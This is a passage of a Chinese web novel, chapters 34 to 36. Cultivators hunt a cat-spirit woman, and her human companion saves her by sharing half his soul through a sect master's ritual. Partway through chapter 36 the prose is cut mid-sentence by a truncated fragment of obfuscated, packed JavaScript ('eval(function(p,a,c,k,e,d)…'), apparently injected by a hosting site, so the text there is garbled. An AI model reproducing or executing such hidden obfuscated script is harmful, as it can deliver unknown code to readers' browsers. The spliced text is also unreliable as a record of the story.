他拉着顾凝恬原路返回,脚步匆匆,说:“走,我们回去。” 顾凝恬一头雾水,顾涵的步子迈得很大,她跟不上,一脚绊一脚底跟着,急急追问道:“怎么了?为什么呀,我们明明都到半山腰了!” “宝贝。”顾涵单手搂过顾凝恬的腰,几乎是抱着她下楼梯,喘着出气安抚她:“你乖乖听话就好,走快点。” 顾凝恬望向顾涵的表情。 他眉眼冷沉,一边走一边目光警惕地扫视四周,搂着她的动作非常紧,像是怕她被谁抢了去似的。 虽然不懂发生了什么,但顾凝恬被顾涵紧张的情绪感染,跟着他五步作三步地迈下台阶。 突然,一道冷冽的声音从他们的身后传来:“妖物,哪里跑!” 两人下意识地顿住脚步,回过头,只见一名身穿灰色道袍的中年男子挡在路中央,手持一柄桃木剑,目光如刀般锐利,直直盯着顾凝恬。他的身后还跟着两名年轻弟子,同样神色冷峻。 顾凝恬愕然失色,害怕地往顾涵身后躲了躲。顾涵将她护在身后,那灰道袍上繁复的图案令他猛然醒悟——是《西南异事》中出现过的宗教符号。 顾涵冷冷看向眼前之人,握紧了顾凝恬的手:“你想干什么?” 中年男子冷笑一声,手持木剑耍了一段剑花:“你身后的女子乃是猫妖所化,我辈修道之人,岂能容她祸乱人间?今日我必要替天行道,收了这妖物!” 话音未落,他手中的桃木剑已直指顾凝恬,剑尖泛起一道寒光。顾涵眼神一沉,转身抱住顾凝恬将她护在怀里,然后侧身躲进旁边的小树林。 此时此刻,天空中最后一道黄昏也被隐藏在了重重的云层之下。 无边的黑暗袭来,让奔走的两人难以分清脚下的路,顾凝恬面色苍白,跟随顾涵在迷乱的森林中窜动,身后不停传来追逐的声音。 34. 喵 顾凝恬紧咬牙关,抓着顾涵的手臂与他一同奔跑着,不知道跑了多久,夜风呼啸着掠过耳畔,树枝抽打在脸上火辣辣的疼,可她不敢停下,身后修道者的脚步声从远处清晰地传过来。 夜色苍茫,入眼之处皆是重重黑影,陌生的环境让顾凝恬忍不住轻轻抽噎,害怕地抓紧顾涵的手。 “别怕。”顾涵的声音低沉急促,安慰她的同时,握着她手腕的力道大得惊人。顾凝恬能感觉到他掌心的温度,还有他沉稳的臂弯正牢牢地挂着她。 “我……”顾凝恬皱起眉心。 方才一直在逃跑,这会累了懈怠下来之后才感觉到自己的右边肩胛骨火辣辣的疼,像是被什么东西划开了皮肉一般。 她疼的忍不了,直接痛呼出声,蹲在原地大口大口地吸着凉气,强烈的麻痹感从后背延伸到她的手臂,令她整个人站都站不直,歪歪扭扭地靠在顾涵的身上。 “怎么了?”顾涵就着她的姿势站定,原本想扶住她的双肩让她站稳一点,谁知当他的手抚上她的肩膀的那一刻,他摸到的不是衣物,而是一种黏黏糊糊的触感。 “我好痛好痛,顾涵……”冷汗顺着顾凝恬的脸颊滑落,疼痛让她睁不开眼睛,鼻尖嗅到一股浓浓的血腥味,是从她身上散发出来的。 “别动,你受伤了。”顾涵原本平稳的声线如今微微颤抖,他掏出手机打光仔细查看顾凝恬的全身,发现她是她的肩膀后面被划了一道。估计是刚才追杀他们的人耍出的剑气,把她给弄伤了。 顾凝恬痛的浑身哆嗦,站都站不稳,双膝一软就直直朝地面跪去,顾涵赶紧搂住她的腰把她捞起来,托着她缓慢放在地上坐着歇息。 茂密的森林中,极速的脚步声若隐若现,从不同的方位传过来。顾凝恬动了动腿,想站起来,却发现自己使不上一丁点力气。 她不想成为累赘,正要咬牙硬撑,结果肩膀传来的痛疼让她四肢都麻木了。 “顾涵……”顾凝恬吃力地拖长嗓音说:“你、你别管我了,你快走吧,他们是冲我来的。” 夜这么黑,她又受了伤,顾涵要是带着她一起走的话她只会连累他。虽然不知道那些人为什么针对她,可是来者不善,她不想让顾涵遭受牵连。 “胡说什么。”顾涵醇厚的呼吸洒在她的头顶。 他俯下身,手臂穿过她的膝盖,又搂住她的上腰,将她打横抱了起来,向着前方稳步走去,开口时,声音冷静,不容反驳:“你不会有事的,别怕,抱住我。” 此时的顾凝恬已经疼的精神恍惚了,她迷蒙着抬手搂住顾涵的脖子,闻到他身上混合着血腥味的松木香。月光描摹着他紧绷的下颌线,她突然注意到他额角有一道细小的伤痕,可能是刚才逃跑时被树枝划伤的。 “你也流血了……”顾凝恬喃喃地说,顾涵低头望着她:“嘘,少说话,保存体力。” 夜风穿过树梢,发出沙沙的响声。顾凝恬靠在他怀里,能清晰地听见他有力的心跳声。这让她想起自己以前还是只小猫时,就是这样蜷缩在他的胸口安睡的。 回忆起从前,顾凝恬微微扯了扯嘴角,笑意被伤痛湮灭,她缓慢开口说:“我真的……好高兴可以变成人陪在你身边,顾涵,如果有下辈子,我真想做个真真正正的人,这样的话,我是不是就可以和你一辈子都在一起了?” 怀中的女孩呼吸渐渐微弱,说话的声音轻飘飘,晚风一吹就散了。 顾涵的手臂猛地收紧,指节因用力而发白。他低头看着怀中脸色惨白的女孩,胸口像是被一只无形的手狠狠攥住,连呼吸都变得艰难。 “傻瓜,你不会有事的。”他的声音沙哑得不成样子,脚步不自觉地加快。但其实,他根本不知道自己要去哪里,这里完全分不清路况,他只能朝前走,不能回头。 “没事的没事的没事的。”他低声重复着说,像是在说给自己,又像是说给顾凝恬。 可顾凝恬的体温正在一点点流失,像捧在手心的雪,无论如何都留不住。她的睫毛轻轻颤动着,在苍白的脸颊上投下脆弱的阴影。 “顾涵……”她气若游丝地说:“猫猫好喜欢你,从你第一次投喂给我的时候,我就想永远待在你身边了。” 像是交代遗言似的,顾涵根本敢去看顾凝恬此时的神情,他重重闭眼,又再次睁开,复杂的情绪在他的心头不停酝酿,如同翻涌的潮水将他的希望浇灭了。 他只能一直走一直走,麻木地前行,嘴里不停地说:“你不会有事的,不会有事的,这些话以后再说好吗?” 月光下,顾凝恬的瞳孔已经开始涣散了,她努力对顾涵笑了笑:“我怕现在不说,以后……就没机会说了。” 钻心的难过从顾凝恬的心口挣扎而出,她仰头望向天空,眼神悲伤。 怎么会这样,她好 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他虔诚地祈祷着前方会出现曙光,只要能救得了顾凝恬,他愿意付出一切代价。 走着走着,不知过了多久。 像是幻觉似的,森林尽头竟然真的出冒出一道不明显的白光。 顾涵几乎是跑着朝那过去,他紧紧抱着顾凝恬将她护在怀里,即便自己的手脚和脸颊都被灌木凸出枝丫划伤也全然不在乎,直到进入白光的范围内他才停了下来,颤抖着手臂,有些不可置信地望着那间独自矗立在竹林中的小屋。 一股奇怪的檀香扑面而来,像是水生调的古籍味,顾涵下意识屏息,但是香味却无孔不入,两秒过后他甩了甩头,重新扬眉张望起眼前的一切。 香味虽怪,但闻久了,竟还有点沁人心脾,甚至还卷走了他一些疲惫绝望的心情。 就在这时,小屋简易的栅栏门被人从里面推开了,一个肤色非常深的男人走了出来,他看到顾涵之后,显得非常吃惊,愣了半响。 顾涵一眼认出了他。 是崔季同教授身边的那位助手,好像是叫阿涂? “你……” 两人异口同声,阿涂注意到顾涵怀里抱着的人,大吃一惊,又从上到下打量了眼顾涵的模样,说道:“这是怎么回事?” 现如今他们已被逼到绝境,不仅后有追兵,顾凝恬还危在旦夕,唯有求助眼前的阿涂了。 35. 喵 “有人在追杀我们。”顾涵说。 阿涂当即朝顾涵的身后看了眼,对着他招招手,神情谨慎:“快,进来再说。” 他走在前面给顾涵带路,一路冲冲回到小屋子,推开了内里的木门。正在低头看书的崔季同被这道声音惊醒,猛地抬起头,就见顾涵抱着个浑身是血的女人走了进来。 崔季同瞪大了双眼,用曲起食指用指背推了推眼镜,从椅子站了起来,小跑两步来到顾涵的跟前,看了看浑身冷汗的顾涵,又看了看已经昏迷不醒的顾凝恬,震撼说道:“这是怎么回事!” 见到崔季同在这里,顾涵算是勉强放下心,他大口大口地喘着气,扫视间见到旁边摆放着一张铺着竹席的木板床,他赶紧小心翼翼地把顾凝恬放下来,虚脱般后退一步,半弯着腰喘息了五六秒。 被放在床上的顾凝恬奄奄一息,鲜红的血液几乎浸染了她的上身,奶白色的纱裙现在变成了血色玫瑰,完全看不出来原来的样子。 顾涵的心脏猛烈地疼痛起来,向来稳重的人这时露出了难以言说的悲痛神情。他伸出手,指尖不受控制地颤抖着,轻轻拨开黏在顾凝恬脸颊上被血浸湿的发丝。 他张了张嘴,却发不出声音。心脏像是被钝刀慢慢割开,每一次跳动都带来撕心裂肺的痛楚。他下意识按住胸口,仿佛这样就能缓解那几乎要将他撕裂的疼痛。 “宝贝……”顾涵的声音带着从未有过的哽咽,他想起第一次见到她时,她还是只雪白的小奶猫,蹲在他的脚下,喵喵咪咪地朝他要好吃的。那样鲜活的生命,现在却一点点地流失。 视线突然模糊了,温热的液体不受控制地涌出眼眶。顾涵狼狈地别过脸,死死咬住牙关。如果可以,他宁愿此刻躺在血泊中的是自己。如果能换她平安无恙,他愿意付出任何代价——哪怕是这条命。 崔季同严峻地竖起眉头,绕过顾涵坐在床头的位置,用食指和中指夹住顾凝恬的手腕将她的手臂放平,然后双指并拢往她的脉搏探去。 他发出一声惊呼,转头看向顾涵,收紧脸色说:“这姑娘竟没有人脉,她是什么?” 顾涵仰头闭了闭眼,深呼吸一口,简短地讲诉了顾凝恬的身世,又把刚才的遭遇告诉了崔季同。 “原来如此。”崔季同发出一声了然的声音,他站起身,浑浊的目光夹带着慈悲,朝阿涂招招手:“把我的金针给我拿过来。” 阿涂听了之后一顿,像是听到了什么惊讶的事,怔住两秒才反应过来,急冲冲地跑进里屋,拿出一个黑色的木匣子。打开,里面放着一根手指长的黄金细针。 崔季同把金针拿起来,对着顾涵说:“这是我多年前偶然得来的九转还魂针,此针有逆转生死之效。可以暂时保住这位姑娘的性命。” 顾涵愕然开眼,很惊讶崔季同竟会有这样的奇物,来不及问,崔季同已经拿着金针往顾凝恬的眉间刺去。 “啊……”顾凝恬瞬时痛呼一声,细小的金色银线以金针为圆心向四周发散,渐渐把顾凝恬整个笼罩起来。虽然不明显,但可以看到原本顾凝恬毫无生气的身体正在缓慢回暖。 顾涵扶着把手站直腰,眼睛紧紧盯着床上的顾凝恬,见崔季同闭上了眼睛,嘴里念念有词,摆出点穴的手势往顾凝恬的双肩的几个位置轻轻一触,旁边的阿涂解释道:“教授这是在为姑娘止血,这种点穴方法是我们乾天门独有的法术,放心吧,她不会有事的。” “乾天门?”顾涵敏锐反问。 “嗯。”阿涂点点头,搬来一张椅子给顾涵坐,又给他倒了一杯水:“顾先生,请。” 阿涂客气周到,顾涵看了眼床上之人,一直漂浮的心终于稍稍安定下来,他端起杯子抿了一口,温热的水滑过喉咙,润了润他的声带,令他吞咽的动作都顺畅了些。 “崔教授现在是我们乾天门的掌门人,我是他的大弟子。”阿涂宽慰地说:“你不用担心,教授把金针都拿出来给姑娘用了,肯定能把她从鬼门关拉回来。” 顾涵现在也没心思追问崔季同一个研究民俗的教授怎么就变成某个门派的掌门人了。他目不转睛地看着崔季同的动作,直到过了许久,见到崔季同利落收针后,他才像是如梦方醒,从椅子上站起来走到床边,焦急道:“教授,情况怎样?” 崔季同长长地吁出一口气,向着主位过去,阿涂适时给他递了一杯茶,他喝了一大口,说道:“无事,稳住了。” 顾涵如释重负,惴惴不安的情绪顿时消散无踪,他摸着自己的胸口,隐隐的后怕令他的精神还是有点恍惚,耳朵开始耳鸣,他脚跟不稳地后退一步,撞上了身后的阿涂。 阿涂见状,赶紧点燃桌面上的燃香,说:“这是本门派的清心烛,燃烧的香气有助于人心情放松。” 顾涵呼吸不匀地喘着,这股味道与他刚进来时闻到的一模一样,不消片刻而已,他混乱的情绪就迎来了平稳。阿涂扶着他的胳膊让他重新坐在位子上。 崔季同把茶杯搁下桌面,响起清脆的声音,他对着顾涵说道:“想必顾先生当时来顺港大学找我,为的也是这姑娘的事吧?” 事到如今也没什么好隐瞒的,顾涵应了一声。阿涂笑了笑,与崔季同对视了一眼。顾涵有些不解地看着他们两人的互动。 崔季同淡笑着说:“你看他,像什么?” 顾涵微乎其微地皱皱眉,把视线放到阿涂脸上。他皮肤黝黑,比平常人黑好几十度,要是把他放在没有灯光的夜晚,估计他能跟夜色融为一体。 “我不明白您的意思。”顾涵实话实说。 崔季同依旧是含笑发问:“一点都看不出来?” 顾涵诚实摇头:“看出来什么?” 崔季同指了指阿涂,让他走近些,向着顾涵,说:“他就是《西南异事》里说的那条黑蛇。” 此话一出,顾涵瞳仁猛缩,重新把探究的目光落在阿涂的身上,不知是不是心理暗示的原因,他这回看向阿涂的眼睛,发现他的眼睛浓黑如墨,甚至还是竖瞳,和毒蛇的眼睛一模一样。 阿涂朝崔季同鞠了一躬,站直身子,语气感慨地说:“当年我化形之后一直遭人追杀,是教授救了我,把我带在身边,还让我加入了乾天门,正式学习道艺。” “这……”顾涵一时难以消化这个事实,他摸了摸额头,企图把这些零星的线索整理好。阿涂的声音在耳边响起:“其实一直以来,教授都有在帮助我们这些动物化形的人,让我们融入社会,可以在社会上立足,避免被人追杀。” “而这里就是我们平时修炼的地方,因为东阿山灵气充足,非常适合修行,除了我们乾天门,其他山头还有别的门派在驻点修炼。” 崔季同叹了口气,彷佛陷入了回忆一般,语气缓缓说:“当年,我下乡调研,机缘巧合之下入了乾天门的道门,同时也了解到这些小动物们的事,所以帮了一把,不知不觉,竟这么多年过去了。” 顾涵震了震精神,连忙望向崔季同:“这么说,您有办法可以让我的猫猫不再被其他人追杀?” 崔季同沉吟些许,似有些为难,他摸了把下巴上的胡须,说话的语调比刚才要慢些:“通常情况可以,但这位姑娘的情况和平常不太一样。” “化形的动物之所以会被追杀,是因为有些门派认为他们气息的不纯,不是纯粹的人类,更有甚者,他们就是以追杀为乐,门派间相互攀比谁的击杀目标更多。想要永远摆脱这种危机,需要施法把化形动物的本体蜕掉,让他们成为一个气息干净的人,这样一来,那些满嘴仁慈的修士就再没有理由下手了。” 崔季同站起身,背着手在屋内踱步走,看了眼顾涵,沉重地说:“这位猫姑娘的性命是保住了,可蜕变之法元气消耗太大,以她这样的情况,根本支撑不了。” 顾涵急的冷汗再次飚了出来,他顾不得自己也有伤在身,忙问:“可是现在外面有追兵,她不能一直这样下去,教授,烦请您再想想办法。” 崔季同突然停下脚步,转身凝视着顾涵,目光如炬:"还有一个方法,只不过……" 顾涵毫不犹豫:“请您直说。” “将你的一半魂魄渡给她。”崔季同的声音在屋内回荡,“从此你们魂魄相连,同生共死。她将获得你的气息,彻底蜕变成人;而你……” “会怎样?”顾涵平静地问。 “你将永远失去独处的权利。”崔季同沉声道:“她的每一次呼吸你都能感知,她的每一分痛苦你都要承担。更甚者,若她受伤,你会比她更痛;若她死去……” “我也会死。”顾涵接过了话头,嘴角竟浮现一丝笑意,“这很好。” 崔季同震惊地看着他:“你确定?这可是比死亡更痛苦的羁绊。” 顾涵走到顾凝恬身边,轻轻握住她冰凉的手,把她的手背贴在自己的侧脸上,低喃道:“从我捡到她的那一天起,就注定要和她纠缠一生了。” 他抬起头,眼神坚定:“开始吧。” 崔季同长叹一声,久久没有落地,许久之后,才低声说道:“既然你意已决,那我便为你们两个施法,阿涂,去把我的锁魂索拿过来。” 阿涂认真点头,正转身欲走,门外忽然响起了凌乱的脚步声,一道老练的声音传进来:“是何人在此?竟敢收留妖物,快速速交出!” 崔季同横眉紧拧,立马给阿涂使了个眼色。阿涂速速将木窗打开一条缝隙,须臾,他回过头来,压低声音的同时,眉目郁冷:“是千里盟的人。” 顾涵也站起了身,向着阿涂过来,阿涂伸手挡住了他前进的路,补充说:“就是追杀你们的那些人,千里盟修的是狂道,他们的教法认为,凡无人气之物,皆归为妖,见妖必杀!” “你别动。”阿涂忿忿地说,眼神中充满仇恨。顾涵扫他一眼,轻轻挥开他的手,往缝隙中看出——的确是刚才追杀顾凝恬的人,为首之人穿着灰色道袍,袍上画着繁复晦涩的符号图案。 没想到他们这么快就追了上来。顾涵心头一紧,立即看向床上的顾凝恬,崔季同迎着他的目光站起了身,老花镜片后的眼睛微微眯起,在眼尾拖出两道锐利的细纹。 门外之人继续叫嚣道:“这屋前屋后都透着一股清心烛的味道,想必你们也是修道之人,自然懂得妖物存世,必乱天道。草木成精尚可恕,兽类化形断难容!” 他的声音陡然拔高,在夜风中显得格外刺耳:“且猫妖最是狡诈,今日若纵其逃脱,来日必成祸患!尔等速速交出,莫要自误!” 崔季同闻言冷笑一声,苍老的眼睛寒光乍现。他隔窗与外面的人对话:“好一个''必乱天道''!老夫倒要问问,千里盟这些年借着除妖之名,屠戮了多少无辜生灵?” 屋外一时语塞,只听见剑鞘与衣料摩擦的声响。 “妖若害人,自当诛之。”崔季同的声音突然转为凌厉:“但这位猫姑娘化形之后从未伤人,你们追杀至此,究竟是为了天道,还是为了满足自己的杀戮之欲?” 这句话像利箭般穿透门板。外头顿时响起几声慌乱的脚步,随即是恼羞成怒的暴喝:“休得胡言!妖就是妖,留在世上终是祸害!我千里盟今日便是拆了这屋子,也要将这猫妖杀之后快!” 阿涂双拳紧握,咬着牙对崔季同说:“教授!让我出去会会他们!当年就是他们一伙人将我镇压在古井,要不是您出手相救,我早就死了!” 崔季同不赞同地摇了摇头,又看了眼顾涵,接着又走到顾凝恬的床前查看她的情况,片刻后说道:“千里盟叫嚣这么久都没有破门而入,想必是不确定我们屋里有几个人,怕寡不敌众,由此可知,他们一时半会不会动手。” 所以这样一来,我们就有可趁之机。” 崔季同说着,闭上眼睛双手手指比划出一个结印手势,接着在空中画起道符,金色光线随着他的动作在空中漂浮着,恍一下,金丝勾画起来的符咒印在了门背后 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他引着顾涵在顾凝恬的床边坐下,从匣子里拿出一条血红色的绳子。绳子细如发丝,认真看才发现,是由无数条细小的丝线缠绕而成的。 “这是月老红线,也是锁魂索。”崔季同将红线一端用朱砂点在顾凝恬的眉心,另一端递给顾涵:“要救猫姑娘,需要将这条红线穿入你的心脉。” 顾涵接过红线,发现它在掌心微微发热:“我要怎么做?” “红线入心,从此你的命数就分她一半。”崔季同一寸一寸地把红线捋直:“她会获得你的人气,但你也将承担她的劫数。她痛你也痛,她死你也死。” 没关紧的窗户被夜风刮的呼呼作响,半明半暗的烛火照亮崔季同凝重的面容:“记住我说的话,红线穿心时你不能昏厥,否则前功尽弃。” 顾涵握紧红线末端,毫不犹豫地将自己的衣襟扯开,露出心口位置:“好,开始吧。” 崔季同深吸一口气,手决一比划,红线突然无风自动,像活物般昂起头,缓缓刺入顾涵的胸膛。没有流血,但顾涵全身的血管都暴突起来,额头瞬间布满冷汗。红线在皮下游走,每前进一寸都带来撕心裂肺的痛楚。 顾涵死死咬住牙关,指甲深深陷入掌心,却始终注视着昏迷的顾凝恬。 很痛,很痛,像是有股力量在他的身体里不停穿梭,要将他的五脏六腑都炸开一样,痛疼让心脏骤然收缩,又猛地放大,来回几次,顾涵唇色顺势苍白,无力地垂下双手,眼睛半阖,整个人悬在一种昏迷的临界点。 不! 他不能睡过去,他要是倒下了,恬恬就死了。 不行…… 顾涵用尽全力睁开眼睛,用右手撑在顾凝恬的床头,俯身看着她的睡颜。 不能倒下,不能倒下,他的猫猫还等着他救命。 顾涵一遍一遍地在内心说服自己,用自己的意志力去抵抗尖锐的痛楚 当红线完全没入心口时,悬在顾凝恬上方的半截红线化作流光钻入她的眉心,她雪白的肌肤下顿时浮现出细密的红纹,一道又一道,很快消失不见。 “嘭!” 猛一道惊响,顾涵吃力地朝声音方向看去,原来是门外的千里盟忍不住破门而入,阿涂手持青霜剑与他们交战,他以一对三,挽着利落的剑花与他们交手,将三人拦在门前。 “专心!”崔季同朝顾涵低声喝道。 顾涵闭上了眼,把注意力放回自己的身上,他能感觉到自己身上的痛楚越来越深刻,同时也感受到一种剥离的拉扯感,正把他向外拉。 门外剑光如雪,阿涂手中的青霜剑划出数道凌厉的弧光,却终究寡不敌众。一名灰袍修士突然祭出一道赤色符箓,符纸在空中燃起熊熊烈焰,逼得阿涂不得不后退半步。就是这一瞬的破绽,另一名修士已欺身而上,铁尺重重击在阿涂手腕。 “铛——”青霜剑脱手落地。 阿涂闷哼一声,嘴角溢出一丝鲜血,却仍张开双臂死死挡在门前:“你们这些满嘴仁义的狂徒,休想……” 他们缠斗的声音一一落在崔季同耳里,他苍老的瞳仁一转,细细观察顾涵的状态,窥见红线已在他的体内汲取完能量,他赶紧掐出和合决,令红线飞出没入顾凝恬的眉心。 见阿涂负隅顽抗,为首的灰袍修士冷笑一声,从袖中飞出一道银索,如毒蛇般缠住阿涂脖颈,毫不留情地想夺走他的呼吸,就在这千钧一发之际,崔季同从术阵中抽身而出,他右手掐诀,左手从袖中甩出三枚青铜算筹。算筹破空而出,竟发出龙吟般的啸声——第一枚击断银索,第二枚震退持符修士,第三枚直接钉入最后一人肩胛,带出一蓬血花。 顾涵的面容因剧痛而扭曲,红线抽出之时他整个人如虚脱一般大汗淋漓,青筋在额角暴起,眼睑不受控制地痉挛着,睫毛被汗水浸透,在眼下投下破碎的阴影。 崔季同负手起身,食指和中指并拢在一起,往顾涵的后背三处大穴一点,声音凛然道:“法成!” 千里盟的三位见状,纷纷催动自己的感应咒,发现屋里的猫女如今竟蜕掉了兽息,完全成人,心中嗟悔无及,又自知自己现在都负伤了,再这样缠斗下去对自己没好处,于是愤愤不平地撂下气话后,立即转身离去。 顾涵按着心口,忽然感觉胸口发烫,他低下头,发现胸前多了一粒朱砂似的红点,他喉结重重滚动一下,赶紧握住顾凝恬的手,发现她的手不似刚才那样冰冷,是有温度的,同时,他还感觉到自己的右肩部位传来火辣辣的痛楚——是和顾凝恬的共感。 “好了,没事了。”崔季同深深喘息一口,颤抖着手臂坐下椅子,汗水将他的满头白发打湿。阿涂捡起青霜剑快步跑进来扶着他坐好。 顾涵也想说点什么,可话还没说出口,无边的黑暗笼罩住了他,他失去意识地朝前栽去。 36. 喵 当顾涵再次醒来时是在病房里。 他睁开茫然的眼睛,动了动脖子,发现自己的肩膀非常沉,他不悦皱眉,“嘶”了一声,用手肘撑着床面半坐起身,发现自己的衣物不知何时被人换成了病号服。 他左右看了看,发现房间里只有他一张病床,并无顾凝恬的身影。 顾涵心尖一动,被子掀开就要下床,结果门口传来响动。是钟博明走了进来,手里还拿着病历样式的东西。 “涵哥!” 见到顾涵清醒,钟博明显得很是激动,小跑着来到顾涵跟前,哼次哼次的,一脸的如释重负,用眼睛上上下下地打量他:“你终于醒了,我滴娘!” “我……”刚说出一个字,干燥的嗓子就把顾涵的下半句卡住了,他狠狠地咽了咽嗓子,找回声音:“我睡了多久?” “你昏迷三天了。”钟博明大声说,从桌子上拿出一次性杯子倒了杯水递给顾涵。 “检查做了两轮都没发现问题,不知道为什么你会一直昏迷不醒。”钟博明拖来一张小板凳坐在顾涵对面:“你要是再不醒来,医院就要把你转院去其他地方观察了。” 顾涵闭上眼睛,仰头靠在床头,一边消化着钟博明跟他说的话,一边回忆最后昏迷前所发生的事。 “我怎么会在这里?这是哪里的医院?顾凝恬呢?” 钟博明有些含糊地挠挠头:“这里是阿居宁郡的医院……对了。”他想起什么似的拍了拍自己的额头:“是有人把你送来医院的,那个人还说,等你醒了,让我给他打个电话说一下。” 钟博明掏出了一张名片递给顾涵。 “至于顾小姐,她在加护病房呢。”钟博明站起身指了指门外的右侧长廊:“她的情况比你严重,医生说要观察两天,我刚刚去那边看过,她还没醒呢,不过你放心,她没什么事。” 名片是一张白卡,上面写着一串电话号码,顾涵狐疑了一下,问:“你见过这个人吗?” 钟博明点点头:“见过,当时医院着急找家属,刚好我又在阿居宁郡的项目地,离这儿近就来了,那个人皮肤巨黑。”他比划着说:“像非洲来的一样,他跟我说他是偶然遇到你们的,见你们受伤所以就送医院来了。” “涵哥。”钟博明关切道:“你们是怎么了,不是自驾游吗,怎么搞成这样?” 虎口脱险,惊惧的余韵仍停留在心口,顾涵没心情和钟博明说太多,下床穿鞋准备去找顾凝恬,走动间,右肩膀异常疼痛,像是被人砍了一刀似的。 “怎么了?”钟博明有些奇怪地看着他:“医生检查说,你身上没伤口啊。” 顾涵痛的停在原地,眯了眯眼,冷汗顺着他的鬓角往下滑。这不是他身上的痛,是顾凝恬的,他们之间的共感让他可以感受到顾凝恬的所有一切。 “没事。”顾涵吃力回复了一句,深呼吸一口,望着钟博明:“谢谢。” “讲这些。”钟博明爽朗一笑。他和顾涵共事多年,顾涵为人沉稳又大方,对他来说是亦师亦友的存在,他们之间早就不单单是上下级的关系了。 “你是要去找顾小姐是吧,我带你去。”钟博明走在前面把门打开,给顾涵引路:“涵哥,你有什么需要就给我打电话,我先回项目部一趟,把这几天要签名的文件给你带来。” “好。” 穿过长长的走廊,顾涵来到加护病房,透过玻璃窗,他看到顾凝恬已经醒了,正虚弱地靠在床头任由医生检查。她的脸色苍白,几乎要和她的头发颜色融为一体,灵动的眸光失去了往日的色彩,宝蓝色的光辉暗淡了下来。 这一幕令顾涵瞬间放下了心,失而复得情绪在他的心中蔓延,他按住心口呼出一口气,轻轻推开门,消毒水的气味扑面而来。 听到动静,顾凝恬转过头,在看到他的瞬间,眼睛闪过一丝亮光,很快,汹涌的泪水涌上了她的眼眶。 “别动。”医生按住想要起身的她,温声说:“小心点,你的伤口还没完全愈合。” 顾涵走到床边,目光扫过她缠着绷带的手腕和吊着的点滴,伸出手,用指背轻轻擦过顾凝恬的脸颊,坐在她旁边:“没事,别怕。” 医生做完常规检查之后就离开了。 顾凝恬哭的停不下来,抽噎着鼻子往顾涵的胸前凑,呜呜地说:“我以为我要死了,再、再也见不到你了。” 回想起之前发生的一切,顾凝恬还是很害怕,手指无意识地攥紧了被单,指节因用力而发白,在手背上绷出几道青色的血管。她埋首哭泣的模样,像是受惊的小动物在寻求庇护。 顾涵小心翼翼地将她搂进怀里,避开她手腕上的针头和伤口。她的眼泪浸湿了他的衬衫,温热的湿意透过布料,烫得他胸口发疼。 “我在这里。”他低声说,下巴轻轻抵在她的发顶:“不用怕,不会再发生之前那种事了。” 顾凝恬的抽泣声渐渐小了,但身体还在微微发抖。顾涵抬手,用修长的手指穿过她的发丝,一下一下地轻抚着,就像以前她还是小猫时,他给她顺毛一样。 顾凝恬抬起头,湿漉漉的眼睛看着他。顾涵的脸颊和侧颈都有不同程度的划痕,是被树枝划伤的,当时他一直把她护在怀里,挡住了这些伤害。 她吸了吸鼻子,抽噎着说:“你也受伤了,疼不疼?” 顾涵摇了摇头,在她干燥的唇上轻轻一吻,贴着她说:“我没事。” 顾凝恬吞了吞口水,眼睛依然充盈着眼泪,她顿了顿,问道:“可是,我们怎么会在这里?后来发生了什么事?” 在她最后的记忆里,她的伤口破裂大出血,顾涵抱着她,再后来她就没印象了,再次醒来就到了这。 顾涵倒了一杯温水过来,用棉签轻轻沾了沾水,然后点在顾凝恬干裂的嘴唇上,给她润润,耐心解释道:“这里是医院,治病救人的地方,你现在受伤了,要在这里接受治疗。” 温热的水化开顾凝恬唇上的干皮,她抿了抿嘴,睁着无辜双眼抱住顾涵的胳膊:“猫猫手疼……” 她委屈巴巴地皱眉,把缠着绷带的手腕往顾涵面前伸了伸,像只撒娇的小猫般轻轻晃了晃。 顾涵的目光落在她裹着纱布的手腕上,眼神暗了暗。他放下水杯,动作轻柔地托住她的手腕,指腹在绷带边缘小心翼翼地摩挲:“我知道,忍一忍好不好?” 顾凝恬的鼻尖泛着红,眼角还挂着未干的泪痕。她往顾涵身边蹭了蹭,把脸埋进他的臂弯里,闷声说:"可是真的好疼......"她的声音带着软软的鼻音,呼吸间温热的气息透过衬衫布料,熨帖在顾涵的皮肤上。 顾涵喉结动了动,另一只手轻轻拍着她的后背,安抚着她:“等会儿让医生来看看,给你换种不疼的药。” 他把枕头放好,扶着顾凝恬的肩膀让她躺下:“不是想知道后面发生了什么,乖乖躺好我就告诉你。” 顾凝恬听话躺下,又挪了挪位置,靠近顾涵的大腿处,仰面看她,眼神好奇又亮晶晶,一副乖宝宝模样,顾涵低头与她对视,娓娓道来,把后面发生的事都一五一十说给她。 “啊!”顾凝恬宝蓝色的眼眸里映着难以置信的微光,她的嘴唇微微张开,露出一点洁白的贝齿,半晌没能发出声音。 思忖良久,顾凝恬才不确定地说:“你的意思是说?我和你现在是共生的关系,而且还有共感?” “嗯哼。”顾涵温柔一笑:“是啊,从此以后,你痛我也痛,你死我也死,我们是灵魂相契的两个人了。” 顾凝恬惊讶地捂住自己的嘴,呼吸短暂地停滞,像是在接受这个事实,随后轻轻吐出一声:“好、好神奇,那你现在能感受到我的感受?” “可以。”顾涵换了个坐姿,低眉轻笑,语气宠溺:“你说你的手疼,我的手也跟你一样疼。” 顾凝恬一听就慌了,立马握住顾涵的手腕放在自己面前,用嘴巴轻轻往上面吹气:“那我给你吹吹,不痛不痛。” 顾涵被她的举动逗笑,把手抽出来,用食指按了按她的娇俏的鼻尖:“傻瓜。”他捏住顾凝恬的嘴巴往中间挤,低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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顾凝恬顾涵看去,他原本凌厉的轮廓在灯光下显得格外柔和,高挺的鼻梁投下一道浅浅的阴影,衬得那双总是锐利的眼睛此刻温润如玉,带着几分倦意的同时,眸底流淌着温柔。 顾凝恬情不自禁地抚上胸口,跳动的脉搏仿佛承载了两个人的重量,她甚至能清晰的感知到顾涵此刻的心情。她立马侧目,不期而遇地撞上了顾涵的眼神,他也在看着她,深邃的眉眼透出一股难以言说的深情。 这就是灵魂相契的感受吗? 你中有我,我中有你。她一辈子都能感受到顾涵的喜怒哀乐,他也一样,他们是名副其实的生死相随。 “好了。”崔季同朝阿涂招手,站起身:“我们就不打搅了,让猫姑娘先好好休息。” “我送您出去。”顾涵礼貌引路,待出了病房,崔季同的神色立马沉了下来,他默不作声地与顾涵同行走了一段路,来到一处安静的走廊。 “阿涵。” 